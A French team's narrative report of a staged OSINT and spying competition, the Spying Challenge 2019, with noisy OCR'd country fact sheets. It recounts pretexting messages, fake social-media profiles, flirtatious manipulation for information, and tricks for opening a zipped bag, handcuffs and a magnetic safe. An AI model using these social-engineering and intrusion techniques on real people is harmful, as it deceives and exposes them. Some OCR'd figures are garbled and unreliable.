Densité : 100,1 hab/km

Croissance démographique (2016) : -0,2% (Banque mondiale, 2016)

Espérance de vie (2016) : 78 ans

Taux d’alphabétisation (2016) : 98%

Religion : musulmane (environ 65 %), orthodoxe (environ 20 %), catholique (environ 13
%)

Indice de développement humain (2016) : 0,764 selon le PNUD (75éme rang mondial)

Données économiques

PIB (2016) : 34 115 millions €
Croissance (2016) : 15,2 %
Chbémage (2016) : 15,34%
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Inflation (2016) : + 1,3 %

Solde budgétaire (2016) : - 1,8%

Balance commerciale (2016) : -24% du PIB

Principaux clients (2016) : Italie, Kosovo, Espagne, Malte
Principaux fournisseurs (2016) : Italie, chine, Turquie, Gréce
Part des principaux secteurs d’activités dans le PIB (2016) :

e agriculture : 18,20 %

e industrie : 25,80 %

e services : 56 %
Exportations de la France vers la Serbie (2016) : 44,5 M EUR
Importations frangaises depuis la Serbie (2016) : 79,6 M EUR

(source: https://www.diplomatie.gouv.fr/fr/dossiers-pays/albanie/presentation-de-I-albanie/)

L’Albanie est un pays qui a un des taux d’émigration les plus forts en Europe. La population

albanaise fuit principalement le chdmage et la pauvreté °.
Tout comme le Kosovo c’est un des berceaux de la mafia albanaise ™.

Pays Bas

Présentation du pays

Nom officiel : Royaume des Pays-Bas

Nature du régime : Monarchie constitutionnelle a régime parlementaire

Chef de I'Etat : Roi Willem-Alexander depuis le 30 avril 2013

Chef du gouvernement : Mark Rutte (VVD, parti libéral) depuis le 14 octobre 2010

Données géographiques

Superficie : 33 690 km2

Capitale : Amsterdam (le gouvernement et les administrations centrales siegent a La
Haye)

Villes principales : Amsterdam, Rotterdam, La Haye, Utrecht, Eindhoven

Langue (s) courante (s) : néerlandais (langue officielle), anglais

Monnaie : Euro

Féte nationale : 27 avril (féte du Roi)

Données démographiques

Population : 17,2 millions d’hab.

Densité : 405,1 hab/km2

Croissance démographique : 0,4 % (2015)

Espérance de vie : 79,9 ans pour les hommes et 83,3 ans pour les femmes (2014)

9

https://www.lexpress.fr/actualite/monde/europe/pourquoi-les-albanais-quittent-leur-pays-en-

masse-et-cherchent-asile-en-france 1974304.html
0 https://fr.wikipedia.org/wiki/Mafia albanaise
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Taux d’alphabétisation : 99 %

Religions : catholiques (27 %), protestants (17,5 %), musulmans (7 %), autres religions (4
%), sans appartenance religieuse (44,5 %) — (CBS, 2009).

Indice de développement humain : 0,921 ; 4e rang mondial (Rapport PNUD de 2013)

Données économiques

(Sources : DGT, FMI, Eurostat, PNUD, CPB)

PIB (2017) : 737 Mds d’euros (prévisions pour 2018 : 758 Mds€)

PIB par habitant (2017) : 42 900 euros

Taux de croissance (2017) : 2,9 % (prévisions pour 2018 : 2,8 %)

Taux de chémage (2017) : 3,6 %

Taux d'inflation (2016) : 0,1 % (prévisions pour 2017 : 1,3 %)

Solde public (2017) : 1,1 % du PIB

Dette publique (2017) : 56 %

Solde courant (2017, en % du PIB) : 10,5 %

Principaux clients (2016) : Allemagne (22,3 %), Belgique (10,3 %), Royaume-Uni (9 %),
Principaux fournisseurs (2016) : Allemagne (18,2 %), Belgique (10,5 %), Chine (9 %)
Part des principaux secteurs d’activités dans le PIB :

e agriculture : 1,8 %
e industrie : 19,7 %
e services:78,5%

Exportations de la France vers les Pays-Bas (2017) : 16,9 milliards d’euros
Importations francaises depuis les Pays-Bas (2017) : 25,4 milliards d’euros
(source: https://www.diplomatie.gouv.fr/fr/dossiers-pays/pays-bas/)

La mafia albanaise est fortement présente aux Pays-Bas. Une affaire récente est celle de
Durim Gremaj. Il a été recherché par la police néerlandaise. En outre, il a été un des
premiers ayant réussi a introduire une arme a feu dans un tribunal’.

Sénégal

Présentation du pays

Nom officiel : République du Sénégal
Nature du régime : République
Chef de I'Etat : Macky Sall, Président de la République (02/04/2012)

Données géographiques

Superficie : 196 722 km?

Capitale : Dakar

Villes principales : Thiés, Kaolack, Ziguinchor, Saint-Louis, Touba
Langue(s) officielle(s) : Francgais

Langue(s) courante(s) : Wolof, Diola, Malinké, Pular, Sérére et Soninké

" hitps://fr.wikipedia.org/wiki/Mafia albanaise
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Monnaie : Franc CFA
Féte nationale : 4 avril (indépendance)

Données démographiques

Population : 15,7 millions d’habitants (ANSD, 2018)

Croissance démographique : 2,9 (Banque mondiale, 2016)

Espérance de vie : 66,7 ans (Banque mondiale, 2015)

Taux d’alphabétisation (15 ans et plus) : 55,6% (Banque mondiale, 2015)
Religion(s) : Islam (94%), christianisme (4%), animisme (2%)

Indice de développement humain : 162éme sur 188 pays (PNUD, 2016)

Données économiques

PIB (2017) : 16,37 Mds $

PIB par habitant (2017) : 1 033 $

Taux de croissance : 6.5 % en 2015, 6,6% en 2016, 7,2% en 2017

Taux d’inflation : 2% en 2016 (Banque Mondiale)

Principaux clients (2015) : Mali, Suisse, Inde, Céte d’lvoire (GTA-GTIS)
Principaux fournisseurs (2015) : France, Nigéria, Chine, Inde (GTA-GTIS)
Part des principaux secteurs d’activité dans le PIB :

e Primaire : 15%
e Secondaire : 21%
e Tertiaire : 64%

Exportations de la France vers le Sénégal : 758 M€ en 2016 (DGT)

Importations francaises depuis le Sénégal : 76,2 M€ en 2016 (DGT)

Indice de perception de la corruption 2016 : 64e sur 168 pays (Transparency International)
Classement Doing Business2017 : 147 e sur 190 pays

(source: https://www.diplomatie.gouv.fr/fr/dossiers-pays/senegal/)

Concernant notre affaire, nous retiendrons que le Sénégal subit un important trafic d’armes.

Venezuela

Présentation du pays

Nom officiel : République bolivarienne du Venezuela
Nature du régime : République fédérale présidentielle
Chef de I'Etat : M. Nicolas MADURO MOROS (investi le 19 avril 2013)

Données géographiques

Superficie : 912 050 km?

Capitale : Caracas

Villes principales : Maracaibo, Valencia, Barquisimeto, Maracay, Ciudad Guayana, San
Cristobal

Langue officielle : espagnol

Langues courantes : environ 40 langues autochtones (wayuu, piaroa, pemon, guahibo,
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etc.)

Monnaie : bolivar fort (1€ = 60 000 bolivars au taux DICOM ; plus de 290 000 bolivars au
taux paralléle) — le « bolivar souverain » entrera officiellement en circulation le 4 juin 2018.
Féte nationale : 5 Juillet, jour de I'lndépendance (1811)

Données démographiques

Population (2015) : 31,83 millions (moins de 15 ans : 29,6% ; urbaine : 93,4%)

Densité : 28,5 habitants par km?

Croissance démographique : 1,5%

Espérance de vie : 74,2 ans (hommes 71,6 ans ; femmes 77,6 ans)

Taux d’alphabétisation : 95,5%

Religions : catholicisme (96%), protestantisme (2%), autres (2%)

Indice de développement humain 2015 : 0,762 (71e) ; ajusté aux inégalités : 0,612 (82e)
Indice d’inégalité de genre : 0,476 (103éme mondial)

Part de la population vivant sous le seuil de pauvreté : 22,5% (selon le gouvernement —
2016), 87% (selon I'enquéte Encovi — 2017)

Données économiques

PIB (2017) : 215,31 Mds USD (2016 : 236,44Mds USD)

PIB par habitant 2017 : 6 850 USD (2016 : 7 620 USD)

Taux de croissance (2017) : -12 % (2016 : -16,5% - FMI)

Taux de chémage : 29,8 % (FMI)

Taux d’inflation (2017) : 2 616 % (chiffres de 'Assemblée nationale)

Dette publique (2016) : 19,7% du PIB

Balance commerciale (2017) : -0,947 Mds USD

Principaux clients (2012) : Etats-Unis (40%) ; Chine (20%) ; Inde (10%) ; Singapour (5%) ;
Cuba (5%)

Principaux fournisseurs (2012) : Etats-Unis (25%) ; Chine (16%) ; UE (14%) ; Brésil (9%) ;
Colombie (5%)

Exportations de la France vers le Vénézuéla (2017) : 57 M€ (-73% sur 1 an)

Importations de la France en provenance du Vénézuéla (2017) : 73M€ (+5% sur 1 an)
(source:
https://www.diplomatie.gouv.fr/fr/dossiers-pays/venezuela/presentation-du-venezuela/)

Outre la crise actuelle que traverse le Venezuela, pour notre affaire il est intéressant de
noter que ce pays subit un important trafic de drogue.
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Représentation cartographique du résumeé
geopolitique

Pays-Bas:
Un des terrains u
d’activité de la mafia
albanaise
"Albanie et Kosovo:
Berceaux de la
mafia albanaise
' . Vénézuela: n g™
 Trafic de g Sen?ga!:
' drogue Trafic d’armes

Les tendances a retenir pour notre affaire sont les suivantes:
- L’Albanie et le Kosovo sont les berceaux d’'une mafia qui sévit beaucoup aux
Pays-Bas.
- Le trafic de drogue et le trafic sont souvent liés.

Methodes d’'approche

Lictor

Pour 'ensemble des employés nous nous sommes efforcées de respecter leur idéologie et
la fierté de I'entreprise
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Gustave LEPROLEAU

Pour se rapprocher de Gustave I'agente Ash Iui a envoyé un email personnalisé en
s’appropriant ses éléments de langage et son riche vocabulaire, elle employa des termes
tels que: “Con-con”, “C’est un peu con”, “C’est pas jojo”, “C’est dla merde quoi”, “Dés qui ya

une couille”, “Les politiques nous méprisent et sont des enfoirés”.

Liliana DELOUP

Par son compte Twitter, nous savions que Liliana était a la recherche d'un homme. Grace a son
compte badoo, nous avons pu affiner cette information, pour ce qui est de l'apparence,
musculature, age, ... Nous en avons aussi appris plus sur ses intéréts (films de gladiateurs,
d'action, les bodyguards, ...), ce qui peut aider a se rapprocher d'elle.

Talisa NALA

Nous pensons utiliser ses centres d’intérét communs avec Liliana :

in

Vive les femmes. Vive le sport. Vive les femmes qui font du sport &3

Groupes
4 Les bérets tout court

Tout voir

Hashtags suivis

Endécouvrir plus

& . 2 aime E - 5commentaires

L

0

Liliana Deloup - ler 12h -

Ingenieure d'affaire chez Lictor

On s'faitun jogging ce WE?7:)

& . 1Jaime =

Talisa Nala - 1= 1Lh o

Office Manager chez Lictor

Ah ouiiii, combien de KM ? T'as un parcours ??

[

Liliana Deloup « 1er il

Ingenieure d'affaire chez Lictor

J'pensais me faire un ptit entrainement pour les marathon en
septembre, j'ai pas encore trouvé de spot

é 1 Jaime =

Talisa Nala - 1er 9h o

Office Manager chez Lictor

Ok, cool. Je vais voir si je peux nous fournir en habits de sport. IL
y a bien une marque qui voudra faire un partenariat...

@& 1 Jaime =

Emilie Dupont - Vous
Stagiaire chez Société Générale

Y'a ["air d'y avoir une si bonne ambiance chez vous <3 Moi quand

je propose a mes collégues d'aller courir ils font toujours la téte
en disant que le sport c'est pas pour eux, et je me retrouve a
courir toute seule, semaine comme WE T-T

Afficher plus de commentaires

Q

Lictor

~
75 abonnés ‘_‘To

Messagerie

Cone
Public
Teélecl

Linke:
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Conclusion de la phase 1

> Jeudi 4 juillet 2019. Locaux de 1’agence WoSEC, Paris.

De par leur travail acharné et leur passion du métier, nos agentes ont réuni de précieuses
informations sur les acteurs de cette sordide affaire.

Elles ont notamment mieux compris des personnages tels que Liliana et Gustave.

Grace a la phase suivante de leur travail, elles pourront montrer leurs autres talents
d’espionnes qui ne sont pas moindre.

Phase 2 : Jour J

> Samedi 7 juillet 2019 - Jour de 1’Opération

5h00 du matin. L’agente Ash se réveilla en sursaut. Le courriel! La Centrale était censée
envoyer un courriell Ses collegues avaient-elles oublié de transférer le message ? Le
message avait-il été englouti dans les tréfonds des Internets ? La Centrale avait-elle été
atomisée par un missile nucléaire soviétique ?

Ash contacta en vitesse ses compagnonnes d’aventure. Aucune chance qu’elles répondent
a cette heure matinale, pensa I'agente. Mais elle oubliait le motto de la team : “Dormir, c’est
tricher.”. Granville et Smith répondirent donc dans la minute. Pas de message en vue. Elles
avaient retourné dans tous les sens leur boite de messagerie sans rien trouver. Mais ou
pouvait bien étre ce message ?

“T’as regardé tes spams ?”
“Oui, évidemment.”

“Sare ?”

“... Oh p#tain...... ?

Le mail venait d’étre retrouvé. Dans les spams. Envoyé a 21:00. Bon. La Centrale avait
utilisé I'excuse “Y’a pot.”. Pas moyen de répliquer, cette excuse était universellement
acceptable.



Le mail contenait les informations suivantes :

Entre 10h et 12h, vous devrez :

- Interagir avec le maximum d'interlocuteurs employés par Lictor afin de
récupérer de nouvelles informations sur vos cibles ;

- Identifier et prendre en photo I'employé Jack Barrel (il est fort

méfiant et ne se présente au stand que de temps en temps) ;

- Vous présenter a I'endroit indiqué en pieces jointes a 11h35 heures
précises (aucun retard ne sera toléré), ou vous devrez rencontrer le PDG
de Lictor, et ou vous seront communiqués vos ordres pour la suite de
I'opération.

Un rapport devait étre rédigé et envoyé avant 13:00.

Nos agentes étaient-elles prétes pour cette mission ? Avaient-elles un plan parfaitement
élaboré afin de remplir leurs objectifs ?

BWAHAHAHAHA. Bien sOr que non. Mais que serait une opération BADASS sans un
soupcgon de dangers et d'imprévus ?

Début de I'opération

Arrivée de Liliana dans la queue : 9:00.

Nos agentes repérent rapidement le stand de Lictor.
Chacune s’attribua un réle :
- Ash portait un t-shirt Spartan Race et devait aborder Liliana ;
- Granville s’est fondue dans la salle pour arriver incognito au stand de Lictor et
interagir avec les différents employés ;
- Smith jouait le rOle de la stagiaire en recherche d’un poste stylé.

Ci-dessous les infos récoltées:

Via Fikret

- numéro de tel : 07 67 32 1560 ;

- agrandi au Kosovo ;

- il est dans la logistique : qualification du matos, commande de matos, bodyguard,
exfiltration, méthodes persuasives ;

- confirme l'utilisation des armes a feu, a précédemment “fait des sales trucs” ;

- peut étre point de contact, bypass du marketing (i.e. Liliana) ;

- sont 15-20 personnes en fagades, plus derriére ;

- a“fait la guerre”;

- plus intéressé par I'argent que par I'aspect éthique de son travail ;

- qualifie ses collégues de “plus tendres” ;

- peut-étre un peu de mépris envers ses collegues ;



Spying Challenge 2019 - Team WoSEC

- par rapport au plan d’'un batiment & Chernobyl : ils font des missions a Chernobyl, ou
pas mal de forces armées stationnent. Il y a de I'argent a se faire la-bas ;
- aoffert a Granville des colliers de serrage pour attacher quelqu’un (sympa!).

Via Liliana

- refuse de donner son numéro ;

- elle est dans le marketing (fournisseurs, clients) et le cyber (pour comprendre ce
gu’elle achéte aux fournisseurs et offre aux clients) -> donc ce ne serait pas eux qui
font les maliciels ?

- Liliana dit que Lictor est aussi intéressé par des compétences en programmation ->
donc voudraient se passer en partie de leurs fournisseurs en intégrant la
composante malware ?

- elle commence tout juste le crossfit ;

- Lictor propose des formations pour ses employés ;

- afait HEC (sans doute écrit dans son linkedin) ;

- aaussirejoint Lictor a cause des beaux mecs ;

- Lictor travaille partout dans le monde ;

- chacun sa spécialité: Afrique, Europe de I'Est (corrobore ce que nous avions dans le
rapport 1 relatif a I'’Albanie Kosovo et Sénégal).

L’agente Ash a donné le nom de son profil linkedin déja “amie” avec Liliana. De maniére
similaire, 'agente Granville aurait di penser a I'avance a des identités spécifiques car elle a
donné deux noms différents dont un du faux profil créé dans la phase 1.

Conclusion du jour : il peut étre utile de créer de multiples profils en amont des opérations,
certains ne devant étre utilisés qu’a la derniére minute.
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Via Brian

- Une de nos agentes lui a demandé le rdle d'une des personnes de la vidéo (le
bodyguard qui shadow quelqu'un). Il a répondu qu'il était la fagade, mais qu'il y avait
beaucoup d'agents dans lI'ombre.

Mais ou est donc 'employé mystere ?

Nos agentes n’étaient pas certaines d’avoir réussi a repérer le visage de Jack Barrel. Elle
tentérent de le repérer sur une des vidéos tournées plus tot - téléphone plaqué contre
I'oreille, une des agentes faisant mine de passer un appel pendant que la caméra filmait les
alentours.

Toutefois la seule personne qu’elles désignérent comme possible Jack s’avéra étre en fait
un espion d’'une agence concurrente. Fichu tour de cou bleu !

Interactions avec le PDG

Les agents Dupont et Martin donnérent rendez-vous a 11:35 a I'étage inférieur.

Notre mission : Nous avions 8 minutes pour interagir avec le PDG de Lictor. Costume
kaki-militaire.

Fouiller son sac, prendre des photos, échanger son CD contre un autre disposant d’un
maliciel (“ Black Panda’ “).

Pour cela le groupe se sépara spontanément (et de maniére quelque peu improvisée) en
deux. D’un cb6té Ash se précipita sur le PDG assis a cété d’un pilier, prétextant qu’un sale
type venait de lui broyer le pied et qu’elle souffrait le martyre.

De l'autre Granville et Smith devait subtiliser le sac du PDG. Les agents Dupont et Martin
avaient indiqué plus t6t comment ouvrir un sac dont les fermetures étaient attachées. Il suffit
de planter un stylo bille dans la femeture-éclair méme, et tadam ! Ouvert.

Pour la petite histoire, Smith et Granville subtilisérent et ouvrirent le sac deux fois. La
premiére pour observer ce qu’il contenait et échanger les CDs. Et la deuxiéme fois ? Meh.
Pour vérifier. On ne savait jamais. En attendant, Ash étaient tellement concentrée sur sa
discussion avec I'homme d’affaire qu’elle ne s’apergut pas des manigances de ses
camarades la premiére fois. Ni la seconde en fait.
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Informations obtenues auprés du PDG

- Lictor est principalement basé entre Paris et la Corse ;

- les employés sont présents a l'international : Afrique, Europe de I'Est (pas Pologne,
Russie oui) ;

- pas besoin de parler les langues des pays : ils n’infiltrent pas d’entreprises ?

- confirme pour I'aspect offensif, s’en tapent des considérations éthiques/légales ;

- Lictor travaille avec le public, le privé, les assos aussi ;

- les clients ne sont pas censés parler de Lictor.

Nos agentes réalisérent aprés coup en discutant avec Martin et Dupont que I’'homme qui
était intervenu auprés du PDG n’était autre que Jack Barrel.

Photos du sac

Un béret jaune !
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Echange des CDs en toute discrétion par 'agente Smith
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Une bouteille de jus de pomme bio.

On note donc que le PDG de Lictor soutient les bérets jaunes voire en fait partie intégrante.
Il boit des jus bio peut-étre pouvons nous en conclure qu’il est pro écologie ?

Il a du gros scotch dans son sac probablement pour des missions d’intimidation (attacher,
bailloner).

Gustave LEPROLEAU - nouvelles vidéos

Entre deux missions, nos agentes s’apercurent que cet individu avait publié 2 nouvelles
vidéos.

Dans la premiére, “Urgent”, il conseillait d’aller a une conférence sur le phishing, a 10h30,
disant que cela pourrait servir a piéger le service d’ordre, et ainsi récupérer de I'argent pour
les bérets tout court.

Nos agentes n’ayant vu ces vidéos qu’aprés cet horaire, elles ne purent y assister.

Dans la deuxiéme, il pressait ses partisans a aller a une autre conférence, cette fois-ci a
14h15 sur I'loT.

Il rappelait au passage qu’il voulait que ses compatriotes récupérent le plus d’informations
possibles sur le service d’ordre des Bérets Jaunes.
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Poison, micros, et diversion

La sentence était tombée :

Agents,

Félicitations, votre mission continue.

Rendez-vous a 15h15 devant le stand Lictor pour recevoir vos
instructions.

Cordialement,

Agents Dupont et Martin

La mission suivante était constituée de trois parties :
- dans un premier temps, trouver 'employé Jack Barrel et lui administrer un poison
contenu dans une fiole ;
- en paralléle, distraire Jacques Poireaux pour le faire quitter son poste devant la “salle
des micros” et idéalement retourner la-bas sans Jacques pour faire le guet ;
- profiter de 'absence de Jacques pour trouver les trois micros cachés dans la salle.

Smith réussit sans emb(lches a débusquer Barrel, et attendre le moment opportun pour
déverser le poison dans son verre. La suite de I'histoire ne nous dit pas si 'employé est
reparti les pieds devants.
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Sneaky, sneaky... | was hiding !

De son c6té, Ash profita des informations récoltées sur Poireaux par Granville pour I'éloigner
de la porte surveillée en lui proposant d’aller boire un verre.

Pendant que 'agente et 'employé discutait boulot, muscu, et course d’obstacles, Granville
se faufila en vitesse dans la salle des micros. Son détecteur en main, elle commencga par
inspecter la ventilation, quand, soudain, Brian, un employé de Lictor, débarqua dans la
piéce.

“Qui étes-vous ? Que faites-vous donc ici ?”, la questionna I'employé d’un air soupgonneux.
“Oh je viens réparer la ventilation.”, répondit Granville du tac-au-tac.
“Ah.” L’employé ne s’attendait visiblement pas a une réponse aussi spontanée.

“Mais vous n’étiez pas censée venir ce matin ?”

L’agente Granville écarta la question d’'un geste. “Non, je vous ai envoyé un mail pour vous
prévenir que je devais décaler 'heure de rendez-vous. Vous ne I'avez pas lu ?”

L’employé, penaud de n’avoir pas pu tomber sur une individue mal intentionnée, bredouilla
n’avoir pas eu le temps d’ouvrir sa boite mail depuis ce matin, et repartit aussitét chercher
une biére au bar un peu plus loin.

Granville finit par découvrir I'emplacement des autres micros, pendant que Smith surveillait
la porte. Pendant ce temps Ash continuait a papoter avec Poireaux, au grand dam de
celui-ci, qui n’aspirait plus qu’a un bon baillon pour faire taire le moulin a paroles qui lui
faisait face.
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Filatures - Mais il estou ? Pas laaaa ! J

Le temps semblait passer plus lentement dans le référentiel d’'une agente en pleine attente
d’'un message de sa Centrale.
Un beeper vibra :

Agents,

La phase 3 de votre mission n'est pas terminée. Rendez-vous a 16h30 au
stand Lictor pour une derniere épreuve de filature. Vous recevrez vos
ordres sur place.

A l'issu de cette épreuve, une sélection sera faite et seuls les

meilleurs agents participeront a la phase finale.

Cordialement,

Agents Dupont et Martin

S’ensuivit alors une partie de cache-cache géante a travers la Cité des Sciences. L’objectif :
retrouver ou Leproleau était tenu enfermé. Des messages fusaient dans tous les sens entre
les agentes :

“Je suis a cbté de Fikret.”

“Perdu Lili, retrouvée.”

“Je continue de suivre les gens qui suivent Liliana.”

“Ah bah elle est avec moi.”

“Ah. Moi je I'ai perdue.”

“Y’a peut-étre un truc au sous-sol.”

“Oui, ¢a a l'air d’étre le point d’intérét.”

“Fikret est aux toilettes des hommes.”

“Il sort pas.”

“Fikret is back.”

Finalement, Granville finit par remarquer une porte. Elle prit la prit en photo et décida de
'envoyer a la Centrale.

L’attente d’'une réponse était insoutenable...



Menottes, deétecteur de mensonges et
ouverture de coffres a coups de poings

Le dernier message de la Centrale fut regu dans une effusion de joie et de stupéfaction :

Vous faites parties des trois équipes finalistes, félicitations.

L'agence vous donne rendez-vous a 18h00 précises devant le stand
"digital.security", a la droite du stand de la DGSE. Vous aurez pour
mission de libérer Gustave Leproleau.

N'agissez pas avant de recevoir nos instructions.

Cordialement,

Agents Dupont et Martin

“‘OMG OMG OMG OMG OM...”. Smith bogait tel un ordinateur sous Vista.

Nos supers agentes, tout aussi fieres et combattantes qu’elles étaient, restérent médusée
devant leur écran. Elles n’auraient jamais imaginé aller jusque-la, et elles souhaitaient
partager leur enthousiasme avec la terre entiéere ! Cependant elles devaient d’abord
s’occuper de la derniére partie de leur mission.

Sur la consigne des agents Dupont et Martin, elles gravirent a toute vitesse un escalier, et
furent aussitét encerclées par un groupe d’hommes cagoulés. “Impossible de vous
échapper”, scandérent les mercenaires. Nos trois agentes eurent quelques doutes quant a
la véracité de ces propos, et tentérent de se débattre, jusqu’a ce qu’elles se rappellent que
la Centrale leur avait explicitement dit de “ne pas taper les gens, il faut étre gentil, pas
méchant, c’est pas gentil d’étre méchant”. Elles se laissérent donc guider jusqu’a deux
piéces séparées, Granville et Ash d’'un cété, Smith de I'autre. Cette derniére dut passer par
le détecteur de mensonge. On tenta de lui faire croire que ses acolytes subissaient la méme
épreuve, mais Smith, fine et maline, ne lacha aucune information. Pendant ce temps
Granville réussit avec brio a défaire ses menottes a 'aide d’'une épingle a cheveux, et Ash
tira comme une bourrin sur le collier en plastique qui lui liait les mains, qui finit par céder.
Ash eut ensuite pour mission d’ouvrir un code a ouverture électromagnétique. Par chance
elle connaissait I'astuce qui consistait a taper sur le coffre pour faire se détacher les aimants
et tourner la poignée au moment opportun afin d’ouvrir la porte du coffre. On lui avait aussi
laissé un gros cadenas afin qu’elle n’abime pas ses délicates mains. Aprés avoir un peu
défoncé le coffre, elle finit par 'ouvrir, et les 3 agentes purent sortir chacune de leurs piéces
respectives.



La fin

L’équipe WoSEC ne tenait plus en place. Les résultats des différentes phases étaient
annoncés au public présent dans la salle. L’'équipe 3, Project BlueBird, fut appelée sur
scéne. Puis celle de SpyKidsIH3. Enfin ce fut le tour de WoSEC de monter rejoindre les
autres. On leur remit le lot qu’elles avaient gagné, a savoir un topissime kit de moulage de
clés, dont le principe d'utilisation fut d’ailleurs montré quelques heures plus tard au cours
d’'une conférence sur 'ouverture fine.

Mais au-dela de ce trés chouette lot, c’est surtout une expérience hors du commun que nos
trois espionnes venaient de gagner; Elles avaient acquis en tout juste une semaine tout un
tas de compétences en OSINT, ouverture de sacs, enregistrement d’appels, efc...

En définitive pourrait-on résumer tout cela a un travail d’équipe mené jusqu’au bout, peu
d’heures de sommeil, beaucoup de fous rires, une multitude de découvertes, et une volonté

de fer de remettre le couvert I'an prochain.

Centrale, agences rivales : be prepared.
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Annexes

Annexe A - Courriel a Gustave LEPROLEAU

> Mail envoyé mardi 2 juillet, 7:10 a gustavegustave@laposte.net, avec le
compte emilie.dupont86@laposte.net

Eh Gustave.

J’ai vu tes vidéos. Et tu sais quoi ? Bah merci.

lls commencer sérieusement a me casser les couilles avec leur mouvement a la con la.
Blabla bérets jaune, blabla en fait ¢a sait pas gérer les manifs, c’est devenu n’importe quoi.
Moi j’étais la pour revendiquer des idées, pour faire changer les choses, pour renverser ces
politiques qui nous méprise tous mais qui derriére sont des putain d’enfoirés.

Jvoulais croire aux bérets jaunes, mais ils ont faits que nous décevoir avec leurs actions.
Leur inaction mm en fait !! Et jvoulais tout laisser tombé. Et |a je tombe sur tes vidéos. Et
putain jsais pas quoi faire. J'ai envie de croire que c’est encore possible que tu peux ranimer
la flamme qui nous anime tous. Mais jsais pas. J'arrive pas a savoir si tu seras capable de
nous mener a la victoire contre le pouvoir royaliste de Manu et ses copains.

Donc voila. Ces quoi tes plans ? Ces quoi que tu penses qui va motiver les gens a te suivre
? On veut du concret. Les paroles c’est pour les politiques. Jsuis préte a te suivre partout.
Mais montre moi que tu sais ce que tu fais et que tu vas pas te dégonflé comme tous les
autres.

Béretement,

Emilie D.

> Apres relance, Gustave L. finit par répondre le 3 juillet a 10:07 :
Bonjour Emilie,

Oui je sais ce que je fais. Mon but est précis et sans obstacle. Je vais aller droit au but,
comme I'OM ;)

Sans bavures, sans blabla, et sans tergiverser.

Gustave Gustave

> Réponse de 1’agente Ash, a.k.a. Emilie, le 3 juillet a 12:11 :


mailto:gustavegustave@laposte.net
mailto:emilie.dupont86@laposte.net
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Ok cool. Je savais que je pouvais compter sur toi.

Comment je peux t'aider ? Me laisses pas sur le banc de touche steuplait. Moi aussi je veux
jouer et aider le mouvement a aller toujours plus loin.

> Réponse de Gustave, le 3 juillet a 23:19 :

Avec plaisir.

J'ai besoin du maximum d'info sur ces foutu sbires des bérets jaunes. Le service d'ordre.
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Annexe B - Contact via Linkedin Jacques
POIREAUX

@ Audrey Martin « 15:26

Bonjour,

J'aurais une reguéte un peu particuliére & vous faire.

Je m'appelle Audrey Martin et je suis comédienne. J'ai été
embauchée sur un nouveau projet. Aussi, ['ai besaoin pour ce film de
me renseigner sur le métier de Body guard. Pour ce faire l'idéal
serait gue je puisse participer comme observatrice a une de vos
missions.

Pensez-vous gue cela serait possible? Cela m'aiderait 3 me mettre
dans la peau du personnage et peut &tre que grace a vous je
connaitrais enfin la gloire tant attendu.

Si jamais cela n'est pas possible peut-étre que je pourrais discuter
par téléphone avec une ou un de vos body guards? Si oui, auriez
vous un numéro pour procéder 3 cet appel?

En espérant une réponse positive de votre part,
Bien cordialement,

Audrey Martin

@ Jacques Poireaux « 15:37

Bonjour Audrey, C'est sympatique de venir me parler, néanmoins,
Lictor ne prends pas de civil en mission

Q Jacques Poireaux - 15:56

bon courage 3 toi

9 Audrey Martin - 12:11

Merci pour votre réponse. Néanmoins peux-t-on quand méme
discuter de votre métier tout cela restera anonyme et
confidentiel. Je pourrais mé&me m'inspirer de votre parcours
impressionnant et monnayer votre participation auprés de man
employeur.
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Jacques Poireaux - 10:19

Je ne donnes pas d'information sur ma société a des personnes du
divertissements, désolé

Audrey Martin - 17:07

Merci pour votre message, je me tiens a votre disposition si jamais
vous changiez d'avis. P.S: je ne veux pas parler de I'entreprise mais
de vous et avec vous

Jacques Poireaux - 17:08

ah, tu te tiens & ma disposition ? ¢'est & dire ? quel type de
disposition ?

Audrey Martin - 17:15

Petit coguin. Allons boire un café pour en discuter!

Jacques Poireaux - 17:2°

pas de souci, je suis en mission a I'étranger cette semaine mais la
semaine prochaine avec plaisir

L2
Audrey Martin - 17:44

Super, mais la semaine prochaine c'est long! Je te propose un deal
pour notre before café: je te révéle une partie de moi si en premier
tu me dis quelgue chose sur ta mission &

Jacques Poireaux - 15:37

guel obsession pour ma mission dis donc !
moi qui pensais gue tu voulais juste passer un bon moment

Audrey Martin - 11:07

On peut lier l'utile et I'agréable & Je suis ravie d'avoir la possibilité
de faire ta connaissance et de pouvoir en méme temps fournir un
bon travail pour mon projet de film.

Tu as bien sur a y gagner aussi.

Audrey Martin - 11:09

Il ne faut pas grand pour ce soit toi qui
deviennes mon obsession
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Jacques Poireaux - 12:09

D

ie ne donnerais pas d'informations sur le contenu de mes missions
gui pourrait atterir dans le milieu du divertissement. Je trouverais
une autre poulette c'est pas ca qui mangue !

®
Audrey Martin - 12:70

C'est |4 ou tu te trompes je ne suis pas une poulette mais bien plus
gue ¢a et tu ne pourras t'en rendre compte gue si tu te dévoiles.

Audrey Martin - 12:12

Ou peut-étre tout simplement as-tu peur de moi

Audrey Martin - 12:74

© © ©

C'est dommage pour un responsable de sécurité d'avoir peur d'une
belle femme
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Annexe C - Echange de courriels avec Lictor
apres appel telephonique

> Courriels du 3 juillet 2019 faisant suite a un coup de téléphone au
standard de Lictor le midi du méme jour :

——————— Original Message -------
On Wednesday 3 July 2019 14:00, <contact@lictor.fr> wrote:

Le 03.07.2019 13:52, greatpanda a écrit :
Bonjour,

Comme évoqué ce jour, vous serait-il possible de me faire parvenir rapidement toutes les
informations utiles pour notre affaire ?

Cordialement,
HX
Pour le paiement nous procédons de la maniére suivante :

70% du montant a payer avant I'opération et 30% aprés livraison sur les coordonnées
bancaires suivantes:

Info bancaire :

- Beneficiary Bank Name: HSBC Hong Kong

- Beneficiary Bank Address: 1 Queen’s Road Central, Hong Kong
- Beneficiary Bank Code: 004

- SWIFT Address: HSBCHKHHHKH

- Account number : 2324562343457

Cordialement,
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Annexe D - Conversation Guillaume
Chouquet

@ Mobile « il y 2 14 min

e Guillaume Chouquet - 21:41

Bonjour Audrey, merci d’avoir accepté l'invitation. Vous aussi vous
étes bérets tout court !

7

MERCRED!

@ Audrey Martin « 17:26

Bonjour Guillaume! Oui je suis une grande fan du mouvement enfin
une possibilité de changement pour cette société sclérosée.

e Guillaume Chouguet - 17:34

Pareil. Vivement l'opération ! Vous organisez 'opération aussi ou ils
ne vous ont pas encore appelé ?

Vous avez des contacts avec Thomas Stoll 7
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